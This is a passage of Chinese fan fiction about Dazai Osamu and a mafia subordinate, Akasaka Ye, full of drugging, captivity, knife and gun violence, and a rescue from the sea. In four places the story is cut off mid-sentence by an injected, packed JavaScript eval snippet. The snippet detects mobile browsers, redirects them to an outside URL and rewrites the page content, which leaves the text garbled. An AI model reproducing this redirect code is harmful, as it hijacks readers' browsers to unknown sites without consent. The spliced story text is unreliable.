“嗯?你说去欧洲吗,得看Boss的安排,可能是下个星期。这趟回来是……” 太宰治支着脑袋趴在桌上,听着耳边的对话,看着晶莹剔透的冰球在酒液中沉浮,无声地勾了勾唇,慢慢享受着这片刻轻松的氛围。 ** 被骗了。 这是太宰治听到那话时的第一反应。 赤坂冶将他弟弟藏得严严实实,港口mafia的情报员根本没查出他有个弟弟。他可能会跟朋友提起这种事(毕竟是织田作),但不会轻易将重要之人暴露在组织眼里。所以他真的是为了弟弟去的东京。 都活过了龙头战争、甚至在战后得到升职,还主动调去安稳的东京、离开权力中心区域,说明他志不在此。 既然如此,他怎么可能为了卖港口mafia人情、趁机敲竹杠而插手这件事? 太宰治回忆起那晚赤坂冶的恐惧、颤抖、和不自觉的回避,只觉得气得牙痒痒。 呵,你小子。 演得还挺真。 他重压之下吐露的消息全是假的,可他身上那些伤、流的那些血可全都是真的。太宰治没下重手,但也没特地留手。 不过没关系,接下来还有的好玩呢。他倒要看看赤坂冶能演到什么程度。 这可真叫人期待。 5. 005 赤坂冶狠狠受了一番皮肉之苦。 受伤这种事,要是只会疼那一下就好了,可惜等过去之后,他还需要漫长的时间来等伤口愈合,中间的种种不便真是不能多提。 他弟弟幸一简直有个狗鼻子,还特别喜欢往他身上扒,以至于浑身缠满绷带、混着血味和药味的这大半个月,赤坂冶都没敢出现在弟弟面前。对此,赤坂幸一狠狠发了两百条消息声讨兄长冷酷无情。 “……最近工作忙。” 赤坂冶只能这么回答。 他心安理得地鸽掉了弟弟乐队live的邀请,并觉得自己不算说慌。 他确实忙,忙着养伤,忙着上班。 毕竟这不算工伤,帮派又不会给他放假。 人是要挣钱的,悲。 这天深夜,他刚下班回来,还未走到楼下,就在路灯下看到一个单薄的身影。在灯光下有些浅的棕色短发,阳光清爽的发型,白色连帽卫衣和黑色长裤。 是他弟弟。 赤坂冶停住脚步,正打算转身离开,赤坂幸一就已经看到他了。 “哥哥!” 他发出一声呼喊,快步向他跑来。 赤坂冶没搭理他,但赤坂幸一直接从后面扑了上来,收拢手臂,用力抱紧他,大有死也不放手的架势,把脸埋在他宽阔的后背。 “哥!”他声讨道,“哥你不能总也不理我!不去看live不去逛街不去公园也就算了,你不能不陪我吃饭,不陪我买东西,不陪我写作业。” 他声音很委屈,一边说着,一边低下头拿头顶他:“哥,你得来看看我。我是没人陪会抑郁的小狗,你不来看我的话,我会死掉的……你别把我丢在一边不管……” 赤坂幸一抱得很紧,但赤坂冶丝毫没有感觉到他的体温。他这样扑上来,赤坂冶反而感到一股冷意环绕。 他低头扫了一眼,伸手覆上弟弟的手背。 果然,入手一片冰冷。 赤坂幸一被鼓舞了,他努力往上蹭了蹭,继续哀求道:“哥,三天一次也行,一个星期一次也可以,半个月一次也好,你偶尔来看看我,好不好?我很听话的,不会给你惹麻烦的……” 旁边有路人经过,听到这话忍不住投来讶异的目光。 赤坂冶回身避过那人的眼神,手臂一揽就把赤坂幸一往旁边带了带,搂在怀里,用身体隔绝了那道视线。他将人放到路边,嘴里说道:“我没法陪你写作业。” 他怎么可能会做大学的课业? 赤坂幸一扒着他的小臂,像是被抱起来的猫猫那样用前爪勾着他,仰头眼巴巴瞅他:“我很聪明的,哥哥,不用你帮我做作业,只要你陪陪我就好了……好不好嘛……” 弟弟这么会撒娇,赤坂冶真是一点办法也没有。 他抬手摸了摸他的脸,俯身,在他额上吻了一下,然后拒绝:“最近不行。” 赤坂幸一靠到告示板上,勾着他的手不放。 他锲而不舍地追问:“为什么不行?” 赤坂冶没答,单手撑在他头侧,偏过头又靠近了一点。 这样近的距离,赤坂幸一能清晰听到哥哥轻而绵长的呼吸声。那是很令人心安的声音,清晰到几乎显得暧昧,让赤坂幸一有些紧张地屏住了呼吸。 有那么几秒,赤坂冶没说话,于是赤坂幸一也不知道说什么。 他听到自己心脏怦怦乱跳的声音,喉咙也有些异样。他正打算清清嗓,说些什么来打破沉默,就听到哥哥声音在耳边响起。 “你抽烟了。”赤坂冶冷淡地说。 “……”赤坂幸一瞬间哑巴了。 赤坂冶放开他,退开一段距离,低头整理了下西装。 “什么时候学会抽烟的?” 赤坂幸一没办法回答。 好在他哥哥也没打算细究这一点,只是抬手向他展示了一下从他口袋里顺走的烟盒,然后当着他的面把烟盒扔进了垃圾桶。 “少抽点烟,对身体不好。” “……” “听见了么?” 赤坂幸一郁闷坏了。 他没法抱怨‘哥不是所有人都能像你那样极端自律还烟酒不沾的’,不好辩解‘我不常抽烟的,那是之前同学给的’,更不敢说什么‘哥你每天陪我的话我就不抽烟’。 他只能老老实实低头,小声说:“好,我知道了……” 见他郁闷,赤坂冶轻声哄了一句:“乖。” 于是小狗刚耷拉下去尾巴又重新摇了起来。 发现哥哥没有生气、更没有因此讨厌他,赤坂幸一满血复活,又黏糊糊地贴了上来,抱着他的手臂问:“哥哥跟我一起回家吗?” 赤坂冶不动声色地扫了眼周围,依旧是拒绝:“你回去吧。过段时间我陪你出去玩,好吗?” 赤坂幸一不太乐意,因为他真的有快一个月没见到哥哥了。 不过好赖是从他嘴里骗到一个承诺,在被哥哥送到公寓楼下后,他就乖乖松开了手,跟哥哥告别后进楼上了电梯。 赤坂冶听着电梯门合上的声音,都打算转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025548|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身离开时,又发现赤坂幸一从门后探出个脑袋,眨着眼睛观察他。 赤坂冶不由地脚步一顿。 发觉自己被发现后,赤坂幸一也没缩回脑袋跑路,而是冲他摆了摆手,用有点气虚地声音喊:“哥你走吧,我马上就上去……!” 赤坂冶真是无奈了。 他这弟弟真是什么人呐。 他点点头,在赤坂幸一失望的注视下毫不留恋地转身离去,身影很快消失在他视野内。 ** 为了方便起见,赤坂冶在同一座小区租了两套房子,一模一样的布局,一模一样的装修,一套给弟弟日常使用,一套是他自己平时居住。 如果他经常去弟弟那里的话,天长地久总会有人注意到他,但如果他本身这是这座小区的住户,那事情就会变得稍微简单一点。 赤坂冶没让弟弟来过他这里,也没告诉过他自己这套房子的地点、楼层、与门牌号,以至于赤坂冶一旦不主动找他,赤坂幸一就完全没办法联系兄长。 这也就导致赤坂幸一只能出此下策: 他直接蹲在小区路口,吹着冷风等上好几个小时。一天不行就等两天,两天不行就等三天,三天不行他蹲一个星期,他就不信他哥永远不回家! 赤坂冶有点后悔,有点无奈,又觉得有点好笑。 ……幸好他那天借了同僚骚包带来公司的香水,不然他弟弟扑上来的第一下,怕是就要察觉不对了。 其实他本意是等绷带能够拆掉、血痂都掉得差不多了再去弟弟那,不过—— 夜朗星稀,月色正好。 赤坂冶从不自然的昏睡中醒来、感到头脑昏昏沉沉时,就意识到哪里不太对劲。 好极了,他就说他常买的牛奶牌子怎么会突然卖光。这都能给他掺上东西? 赤坂冶感觉手臂肩膀有点僵硬,条件反射地一动,就又听见让人头皮发麻的金属链条的声响。 “……” 赤坂冶默默躺了回去。 卧室的窗帘没有拉严实,顺着那两道缝隙,微弱的月光撒了进来。逆着光,他能勉强看到有个人影好整以暇地坐在床边打量着他。 看轮廓,那人还有点熟悉。 毕竟是前不久刚见过的人,记忆没法不深刻。更何况对方那双手给他留下了惨痛的教训。 赤坂冶沉默三秒钟,眼神有些飘忽。 ——不过,嗯……该说幸好他没去吗? 毕竟,要是让幸一见到这一幕,他就真不知道该怎么办好了。 6. 006 赤坂冶肩膀被拉开,两手各自被拷在床头的角落,脚踝处也被粗绳绑了起来,勒得他脚腕生疼。这个姿势抬头有点困难,赤坂冶索性放弃,直接平躺,专注地盯着天花板,只听对方的声音。 他感觉自己大脑还有些昏沉,思考时有些费力。 不请自来的客人就坐在他床边,搬了椅子过来,支着脑袋好整以暇地观察他。那道视线很有存在感,燎在身上火辣辣的,让赤坂冶没法随意忽略它的存在。 赤坂冶也不知道这人到底从他身上找到了什么乐趣。 他闭了闭眼,哑着嗓子开口。 “……太宰先生。” 就算上次不认识对方,一个月过去,他也该查出对方是谁了。被狠狠削了一顿,再查不出来不是能力有问题就是脑袋有问题了。 他是港口mafia下属组织的成员,尊称这位干部一句先生也没什么不合适的。 太宰治似笑非笑地应了一声,承认了自己的身份。 他听上去心情不坏。 赤坂冶沉默了三秒钟,尽力不去想自己现在是个什么造型。 他又闭了闭眼,一时间不知道自己是睡过去更糟糕一点,还是保持清醒更糟糕一点。 “太宰先生……我们是非得这么对话吗?” 太宰治噗的一下就乐了。 被药倒、被人闯进家里、被人绑在床上,结果醒来后的第一句话居然是这个。 “这不是挺好的吗?”太宰治笑盈盈地说。 单听两人平和轻快的对话,很难想到卧室内会是这样的相对位置。 赤坂冶又沉默了片刻。他好像每次开口前都要思考一会。 “……您很生气?” “对呀。” “……为什么?” 赤坂冶有点茫然。 被用非人道主义方式对待了一番的不是他吗?太宰治生什么气? “因为你骗了我!”太宰治真是理不直气也壮。他啪得一下阖上了手里的书,振振有词地说,“你解决掉那个家伙根本不是因为想向港口mafia卖好,而是因为你弟弟吧?” 赤坂冶没开口,不过太宰治也不需要他开口。 他报了一个日期,又含蓄地点了那片商业区的位置,笑盈盈地说:“他从酒吧出来的时候,正好看到你弟弟从学校出来。他看上你弟弟了,于是你就杀了他。真不错,是个好哥哥呢~” 太宰治起身,随手将手上的书放到床头柜,然后探身过来打量赤坂冶的表情。 “你藏得真好啊,港口mafia的情报员都没查出你有个弟弟的事。” “你供出来的那个情报贩子,其实也不是什么相关者吧?他知晓的情报是你透露给他的,没等他拿这情报盈利呢,就转手被你卖给了我——他怎么得罪你了?居然让你把他卖到我手上。让我猜猜,不会又是因为打探了你弟弟吧?反正那个叛徒已经死无对证了,这件事也没人会过分追究。不过你这么耍我,我就不高兴了喔。” 赤坂冶的眼神没太聚焦,太宰治下的药分量不轻,他提前醒过来了,但还没能摆脱药效的影响。 作为他身边唯一的活物,太宰治一动,赤坂冶就下意识地调转视线望了过来。感谢这点肌肉反应,让他在霎那间、在昏暗的光线下注意到了那本书。 他家里可没有书。 他弟弟家里倒是有不少。 赤坂冶花了点时间回忆那些对他来说很难记住的、堪比天书的一柜子书,然后发现自己果然想不起来。 好吧,好吧。 反正这个人也不可能闲得无聊、随便拿本书半夜跑他家里来看。他当这里是阅读室吗? 赤坂冶睫毛颤了颤,偏头看过来,终于和太宰治对上了视线。他的眼睛颜色是让人心里发暖的、很柔和的棕色,配上他沉稳平和的眼神,相当具有魅力。那双眼只在偶尔的角度显出一点锋利的金色调。 太宰治饶有兴趣地观察着他,然后就看到他似乎叹了口气,然后四肢肌肉都放松了下来。 ——从他睁开眼起,他就一直在试图夺回身体的掌控权。 不过他现在是当真放松了下来,连被束缚在床角的手腕都垂落下来。 他垂眸敛目,像是服了软。 “您说得对。” 太宰治:“…………” 太宰治觉得有点匪夷所思。 他盯着赤坂冶看了一会,然后忽然感到一阵索然无味。 赤坂冶被他盯着,尽管避开了视线接触,但依然从肢体和微表情上表现出了些许不安。他从头到尾没有展现出半点攻击性,像是挨了打就挨了打的一团棉花,让太宰治感受不到半点乐趣。 他有点失望,不过这次他没有表现出来。 人是不能上当受骗第二次的。 他思考着要如何处理这个局面,意兴阑珊之时,他退开点距离,重新窝回了椅子上,抱着膝盖将下颚搁在上面,然后很快被赤坂冶家客厅里那座声音有些与众不同的座钟吸引了注意力。 这个人像是注意力会被轻易吸引走的猫咪,喜新厌旧,还走得毫不留情。 赤坂冶眼睁睁看着他收回所有的注意力,就好像方才还让他目光灼灼盯着的人在三秒钟之内变成了一块没有吸引力的木雕,起身就想往客厅去。 ……他居然要去客厅。 赤坂冶真是只想叹气了。 太宰治进屋之后都做了什么,赤坂冶不太确定,不过他现在既然醒着,就不能允许太宰治再在他家乱晃了。于是他骤然起身。 “嘎吱——嚓。” 金属链猛地被拉直的声音异常尖锐,在寂静到能清晰听见钟摆声音的房子里,像是粗暴到在人神经上重重碾过。太宰治猛地提起注意力,然后就听到紧接着传来的、粗绳绷断的声音。 那一瞬间,太宰治真是感觉后背发麻。 ——不是,等等? 手铐是什么时候被撬开的? 还有那根那么那么粗的、他缠得那么费劲的粗绳,就这么被拽断了? 拿出这些年□□练的体术巅峰实力,太宰治也只来得及转过身,从腰侧抽出手枪。他都没来得及上膛,就看到赤坂冶迅猛地向他扑了过来,几乎能遮蔽视野的体格在一瞬间带来生物本能的恐惧。 太宰治本来就没有完全松懈下来,但赤坂冶速度太快,他只来得及抬臂护住头部,整个人就被重重摁着撞到了墙上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025549|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一下的力道震得太宰治浑身发麻,痛得几乎要往外呕两下,连思维都中断了一瞬间。他在认真思考,这他妈跟被黑熊一巴掌糊在树上究竟有什么区别? 赤坂冶没给他太多时间,小臂横在他颈间用力下压,同时一拳锤向了旁边的立柜。颈部被压迫,太宰治眼前发黑,手脚发软。他没办法低头,只能凭借手感胡乱用左手去摸。 在一声震耳欲聋的轰响当中,旁边的木质立柜一拳被赤坂冶打裂了,惊得太宰治动作又是一顿。他用不可置信的眼神看向赤坂冶:不是,说真的,这个人是不是有力量型异能?还是小矮子那种类型的…… 赤坂冶击碎立柜后,探手一捞,精准地从断裂的木板和碎开、有些尖锐的木条中间抓到了一把短刀。 注意到这一点,太宰治瞳孔骤缩。 他把人绑起来之前搜过身,枪械匕首刀片等危险物品全都被他丢到了一边。但他没考虑过赤坂冶能挣脱开的可能性,更没那个时间把他家里也搜刮一遍。但赤坂冶显然很熟悉自己家内各类武器所在的位置,他甚至不需要偏头去看,就能准确地握住短刀的刀柄。 赤坂冶右臂用力抵住他,左手手腕一甩,短刀的刀鞘就脱落了,太宰治眼睁睁地看着他将左手收回来。利器的靠近让他重新有了挣扎的力气。尽管他因窒息感到痛苦,也还是强撑着最后那点力气做了点反抗。 咔嗒一声轻响,太宰治手中的枪上了膛。 捕捉到这点动静,赤坂冶微微低下头,和太宰治对上了视线。 他的表情依然很平静,平静得就好像他只是拿起杯子喝了口水。只是在这个情况下,那温和的棕色眼睛只显出冰冷来,镇定到了一种近乎可怕的地步。 太宰治从他眼里看到了自己的影子,脸上带着孤注一掷的狠意。 太宰治扣动了扳机。 赤坂冶同样将刀没入了他的身体。 冰冷的刀刃刺入身体,太宰治却没听见血肉被撕裂的声音。子弹出膛的声音盖过了一切。赤坂冶因痛苦而弓起身体,握紧了刀的手抽搐一样向下滑了一截,于是紧接着闷哼出声的就成了太宰治。 钳制住他的手稍微歇了力,太宰治终于能呼吸到空气了。他大口地喘息,在积蓄起力量的第一时间就反抗起来,以求能离开这个时刻可能被制服的距离。 赤坂冶从头到尾没有发出半点声响。他顺着太宰治的力道后退,只是在最后一刻,他手腕一动,用力在他身体内绞了一下。太宰治差点没疼晕过去,他力道一下失控,剧痛之下反而推得赤坂冶一个踉跄。赤坂冶后退几步,随即又被床尾绊了一下,跌坐在床上,身上流下的血滴到了白色的被单上。 他没有扎起来的长发又落了下来,遮住了眼睛,让人看不清他的神情、无法察觉他视线的落点。 太宰治没工夫思考他故意留长发是不是为的就是这种时刻,因为再在这里待下去,他八成要交代在这了。他的体术在港口mafia内能算得上是中上游,但不代表他能和人类版本的黑熊对抗。 他手臂发颤地又开了一枪,这一枪稍微打歪了一点,命中了赤坂冶的肩膀,然后他来不及再多做些什么,直接就近撞碎了卧室的落地窗,从栏杆上翻了下去。 7. 007 夜风带动了窗帘,给房间里灌进来大量的新鲜空气,让远处街道上纷扰的声音传来,带来几丝与外面世界的联系。 冷空气让赤坂冶稍微清醒了一点。 他看着卧室阳台碎了一地的玻璃渣,心里颇为感慨。 跑得真快。 左右人都跑了,赤坂冶也就没再勉强自己追。 他就这么坐在床上休息了一会,才终于感觉自己恢复到了能够正常行动的地步。 赤坂冶发了会呆,然后低头看了一眼身上哗啦啦往外淌血的伤,觉得太宰治八成是专门来克他的。 这才见了两面,这位港口mafia的干部已经给他弄出多少伤了?上一个让他吃这么多苦头的人,可是连个坟都没能捞着。 他勉强起身,从屋里翻出了药箱,提到浴室为自己处理伤口。因为失血过多,赤坂冶的脸色迅速变得苍白,唯一幸运的是,近距离射击让子弹直接打穿了身体,不会有弹片留在体内。 赤坂冶迅速换了套衣服,把沾了他血迹被单撕掉带走,然后翻出家里不能被警察搜到的枪和管制刀具佩戴在了身上。他原本身上带着的那些不知道□□部先生丢到哪里去了,他没找到,也没时间再找。 枪声和玻璃破碎的声音传出去,估计很快就会有人报警。他得赶紧离开才行。 这边的动乱让邻居都不敢冒头,楼道上没有人。这勉强省了赤坂冶的事。他费了点功夫避开会被窥视的角度,躲过监控,走小道离开了小区。 他扎起了头发,戴了顶帽子,风衣里面是T恤和牛仔裤。脱掉正式的黑西装后,他一下看起来年轻了不少,和平时风格大相径庭。他还背着个乐器盒样的箱子,里面总之是些不能被查到的东西。 出了小区后,他左拐右拐,抄着小路很快离开了混乱区域,熟悉得像是早有准备。而脱离危险之后,他做的第一件事就是上网给他弟弟买了张出国的机票,然后打通了赤坂幸一的电话。 这次不等赤坂幸一说话,他就先开口:“你在哪?” “哎?哥哥?我跟社团的同学在ktv……” 赤坂幸一虽然第一时间接起了电话,但背景音确实有些杂乱。赤坂冶回忆了一下东大附近的ktv:“你们还要玩多久?” 赤坂冶在通话中的声音跟平时差不多,依旧沉稳、平和。赤坂幸一像是没听出什么不对,他很快离开包厢,找了个安静点的地方:“快了,可能半个小时。最多四十分钟就回去了。他们还打算再去喝酒,我就不去啦,听哥哥的。” “乖。”赤坂冶说,“你唱完k之后,直接打车去机场好么?” ……他没听到太宰治坠楼的声音,那很有可能那位干部先生还活着。 惹了港口mafia的干部,事情可就大条了。如果人死了还好办,但现在这样反而是最难搞的。干部先生重伤不死,难免怀恨在心,然后就是伺机而动的报复:他甚至能盯他一个月,还查到了弟弟常去的地方、撬锁进了他家,又换掉了他的日用品。这个太宰治可不是那么好处理掉的人。 啧。 赤坂冶难免扼腕。 为什么他的异能力失效了? 如果太宰治死了,事情就会变得简单很多。 作为港口mafia的干部,太宰治应该也是异能力者吧?他的异能力是什么? ……算了,事已至此,先处理眼前的事再说。 “我给你买了去华国的机票。”赤坂冶报了时间和登机口,“你唱完k之后过去应该时间差不多。护照和签证我帮你放在前台,等你们结束之后一个人去取。乖,照我说的做,好吗?” “哎?”赤坂幸一一下愣住了。太多问题在他脑子里盘旋,好半天,他只是憋出一句,“……为什么是华国?” 赤坂冶简短地说:“那最安全。” 对于背景干净的人来说,那个国家真的很安全。所以赤坂冶曾经盯着弟弟学了些中文的日常用语,就是以备这种不时之需。 赤坂冶有条不紊地交代了些注意事项,然后才歉意地说:“别怕,等我解决了这边就喊你回来。就是得影响你这几天上课了,抱歉。” “没事,哥哥,没关系的。” 赤坂幸一小声说。 他甚至为哥哥这时候还在考虑他学业而感到有些哭笑不得。 虽然不知道发生了什么,不过他永远无条件相信哥哥。 “不过,妈妈那边……嗯,假如她问起的话……” “不用管她。”赤坂冶漫不经心地说,“她找你麻烦的话就告诉我。” 他在路上走着,忽然间就慢下了脚步。 直到电话对面传来弟弟的呼唤声,赤坂冶才回神。他没注意弟弟说了什么,只胡乱应了一句:“没关系,这事也许很快就能结束了。你就当是去旅了个游,记得给我带点手信。” ** 和有条不紊离开的赤坂冶不同,太宰治这边的情况有点糟糕。 赤坂冶给他留下的伤姑且不说,更糟糕的是,他好像被人认出来了。 港口mafia最年轻的干部在横滨混得风生水起,狠厉的手段、令人闻风丧胆的名声、还有与最强重力使并称‘双黑’的强者的称呼,如果谁在横滨混日子、却没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025550|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过太宰治的名头,那基本可以确定这人是最最不入流的角色、或者是这人绝无可能活得长久。 在港口mafia几年,他经手过的事不胜其数,他解决掉的人和组织也不胜其数,那仇家自然也不胜其数。如果有天他要叛离港口mafia的话,这些都会成为他潜在的麻烦。 当然,就算他没叛离港口mafia,如今这种孤身一人、身受重伤的状况,情况也不会好到哪里去。 赤坂冶给他留下的最致命的伤口还没来得及包扎处理,他身上就又多了很多道新伤。 不过只要不是硬拼武力值、还有能玩脑子的空间的话,太宰治就能再多撑一会。 他在横滨屡次深入险境、拿自己当诱饵、再直接抄底解决这么多次,可不是每次都能全身而退的,受伤早已是家常便饭。不如说干他们这行的,有几个能保证自己不受伤? 太宰治没那么熟悉东京的地形,很快被逼到了一处码头。这里是东京,夜深人静的码头可不像横滨那般混乱——但也许也没好得到哪去。 太宰治猛地一缩脚,一发子弹打在他脚边,留下一个清晰可见的弹坑。 他低头辨别了一下,心里顿时骂了起来:我操,这是谁跟他有这么大仇,连狙击枪都他妈弄出来了?! 他立刻跑动起来,一边抬头看了一眼。 这一眼他顿时愣住了。 仓库顶上一个大刺刺站在那的人,背着月光,几乎是要让他看清自己的存在。 ……这是正常狙击手该有的行为吗? 太宰治表情古怪。他收回目光,遥遥望了一眼追杀他的那几人的方位,继续向前跑去,把这件事情抛在脑后。 战斗力完整的人当然比他这个重伤号跑得要快,更何况他们貌似还有交通工具。很快有人持着枪械追击而来,太宰治体力见底,开始应付不来。他咬咬牙,打空了枪里的子弹,然后把枪一丢,直接纵身跳进了海里。 噗通。 这是太宰治落水的声音。 秋夜的海水很冷,海水颜色很深,月光很难照亮水下的世界。以往入水的时候太宰治还能享受氧气逐渐耗尽的、死亡逼近的感觉,但他此刻只觉得冷。 他身上的血像是都被海水带走,在他身边画出具有色彩的纹路。他浑身是伤。这种情况下泡在冷水里只会加快他的死亡速度。 他发了一会呆,而后不再徒劳地睁着眼睛,彻底放松四肢,吐出了肺中的那口空气。 在失去意识前,他听到岸上的枪声告一段落,随后又一声落水声传来,一个高大的身影向深处游来、朝他伸出了手。 8. 008 赤坂冶把昏迷不醒的太宰治捞了上来,半跪在码头边,低低地咳了几声。 按照常理来说,他们两人现在都该躺进医院里去,然而实际情况是,他们两人都还在外面挥霍自己这条命。 赤坂冶积蓄了一会力气,才重新拎着太宰治起身。 他先去仓库角落里将自己的枪提走,然后才扛着太宰治离开了码头区域。他走路带风,如果不是身上包扎过的伤口又开始淌血、给深色里衣染上了几分暗色,单看他行动时的姿态和表情,根本不像是身上有伤的人。他很快拐进了一家酒吧。 酒吧里放着强鼓点快节奏的音乐,老板拎着张报纸,翘着腿坐在吧台后面。 后门被人一把推开,吓得这人高马大的男人直接从椅子上跳了下来,反射条件就要抄枪。 待看清站在门口的人是谁后,他表情才缓和过来。 “是你啊。”酒吧老板松口气,把嘴里叼着的烟取下来,在烟灰缸里摁灭。他稀罕地瞅了两眼赤坂冶怀里的人,调侃道,“哟,转性了啊。你这是从哪劫了个小白脸过来?” 赤坂冶懒得搭理他。 然而难得逮着个调侃他的机会,酒吧老板不依不饶:“你小子长这么漂亮,你弟看了不得疯?” 赤坂冶:“……” 酒吧老板:“回头他俩……” “滚。”赤坂冶说。 “哎,好嘞。”老板立马闭了嘴。 赤坂冶借了两套衣服,又打劫了他几瓶酒,拎着药箱,带太宰治去了楼上的房间。 他试图给脸色难看得快跟死人一样的太宰治处理伤口,但对着自己亲手绞出来的那道伤口竟有点束手无策。 赤坂冶有点头疼,因为他动手的时候,根本就是下的死手。比起胡乱开枪的太宰治,他这一刀捅得还是挺正中要害的。如果不是这位干部先生求生意志够强,他大概半路就已经歇下,比赤坂幸一还能早一步出国。 这个程度的伤不是个人能处理的,需要更专业的设备。 想要他活的话,他得带太宰治去找医生。 盯着床上昏迷不醒的黑发青年,有那么一瞬间,赤坂冶都想着‘算了吧,死了就死了’。但犹豫之后,他还是放弃了这个念头。 又快又轻的一声金属摩擦声闪过,利刃重新进了刀鞘。 赤坂冶拉好窗帘锁好门,把刀往桌上一扔,和他带来的其他东西放在一起,然后脱掉外衣,走进了浴室。 水声很快响了起来。 几分钟后,太宰治突兀醒来。 他还不知道自己已经无知无觉从鬼门关走过了一遭,毕竟他现在的处境也没多安全。 他平躺在床上,盯着陌生的天花板,意识到身上的伤已经被初步处理过了。屋里打着暖气,窗帘被拉得严严实实,只有门廊那里开着一盏小灯,除此之外就是响着水声的浴室。 屋里还有一个人。 他撑着床坐起来,打量了一下屋内,又摸了下衣摆。 ……他丢掉的枪居然被捡回来了。 太宰治有一瞬间有点想笑。 这是在干什么?这么勤俭持家的吗? 太宰治将弹夹卸下来看了一眼,空荡荡的,毫无意外。 不过没事,问题不大。 浴室里的人在洗澡,太宰治就在外面自来熟地搜刮他的东西。他开了那瓶烈酒,喝了小半杯,翻开药箱吞了几片药,然后又撬了桌上的黑色箱子,对着里面的武器好一阵唏嘘。 这型号的枪在黑市上也不多见,价值不菲。 体术出色,脑子灵活,善用冷兵器,精通热武器,枪法精湛,还会远程狙击。 这家伙还真是不显山不露水啊。 太宰治美滋滋地顺走了他的武器,还不忘将赤坂冶的刀藏到床底下,确保视线范围内没有赤坂冶能立刻找到的利器,才拎着酒杯,大摇大摆地踹开了浴室的门。 哐啷—— 浴室里的水声戛然而止。 是淋浴间里的人啪得一下摁上了花洒的开关。 在人洗澡的时候闯进来是个什么性质?反正赤坂冶是没想到。 以至于太宰治踢开淋浴间的门的时候,他只来得及抽出浴巾围了围,就不得不在太宰治的厉喝中停止动作,默不作声转了过来。 黑发干部的脸色是双重意义上的不好看。他皮笑肉不笑地盯着赤坂冶,拿枪口指着他,冷声道:“手举起来。往外走一点,然后跪下。” 赤坂冶的表情也有点微妙。 他的头发还湿漉漉地滴着水,打着卷贴在他颈侧。浴室里升腾着的雾气还没散去,水珠贴在他肌肤上,顺着肌肉的纹理往下滑,擦过腰腹狰狞的伤口,然后被腰间挂着的浴巾吸收。他没穿鞋,赤脚踩在一片水里,地上的积水正往出水口里涌。 “愣着做什么?”太宰治不耐烦了,“快点。” 赤坂冶只能依言站到淋浴间门口,然后迟疑着弯下了膝盖——太宰治终于不用仰视他了,手也不用再抬那么高了。 他谨慎地后退了两步,时刻警惕着——这个距离虽然给了赤坂冶躲避的空间、让他可能一枪打在淋浴间的玻璃上,但也同样避免了赤坂冶突然暴起夺枪的可能性,给了太宰治在赤坂冶动作之前开枪的时间——然后才开始吐槽: “伤还没好就洗澡?不想活了?” 赤坂冶:“…………” 他近期身上所有的伤都是眼前这个人留下的。此情此景,在拿枪指着他的情况下,太宰治居然还能问出这句话来,真是不可思议。 赤坂冶艰难地憋了一会,才在太宰治有些危险的神色下憋出一句:“我不喜欢海水黏糊糊的感觉。” “为什么救我?”太宰治问,“要对我示好的话,现在未免太晚了点吧?” 这个问题很关键,是胜是败就在此一举了。 赤坂冶低头,诚恳认错:“抱歉,我意识到我做错了。你发现那个消息后,没有直接采取行动,而是上门来找我,说明你并没有想要利用他。” “……” 太宰治一瞬觉得可笑:他在说什么啊?得到一个有价值的情报后,绝大多数时候,将其广而告之才是一种浪费。有些东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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比起具体怎么个翻篇法,他更想质疑的是:“你受了伤还这么有闲情逸致?” 太宰治一脸无赖样:“就不能延后吗?我这浑身的伤可都是你害的。” 赤坂冶又被他干沉默了。太宰治眼睁睁看着他露出无奈混杂着无语的表情,张口欲言,片刻后又把话吞了回去。 太宰治忍不住乐了一下。 不知为何,看这人被逼出这么一副表情,竟然还挺有意思的。 见他笑起来,赤坂冶真是没脾气了。 他叹口气,起身迎上去。 黑洞洞的枪口一直跟随着他移动,但赤坂冶就跟没看见一样,把人打横抱起塞到了床上。 他没提自己身上那俩枪子都是谁打的,那些还没好全的刑讯伤又是谁留下的,只是握住他的手腕,用温柔且不容置疑的力道掰开他的手指,将他手里一直握着的枪放到了床头。 “所以你是答应了?”太宰治故意这么问。 赤坂冶没说是还是不是,他的回应是给了太宰治一手刀。 “睡吧。”他说,“醒来带你去看医生。” 9. 009 赤坂冶又骗他。 太宰治醒来时,就这一个念头。 赤坂冶说醒来带他去看医生,但他醒来后,只发现自己又换了个地方,枪和弹夹被拆开,放在床头不远处。赤坂冶不在屋内。 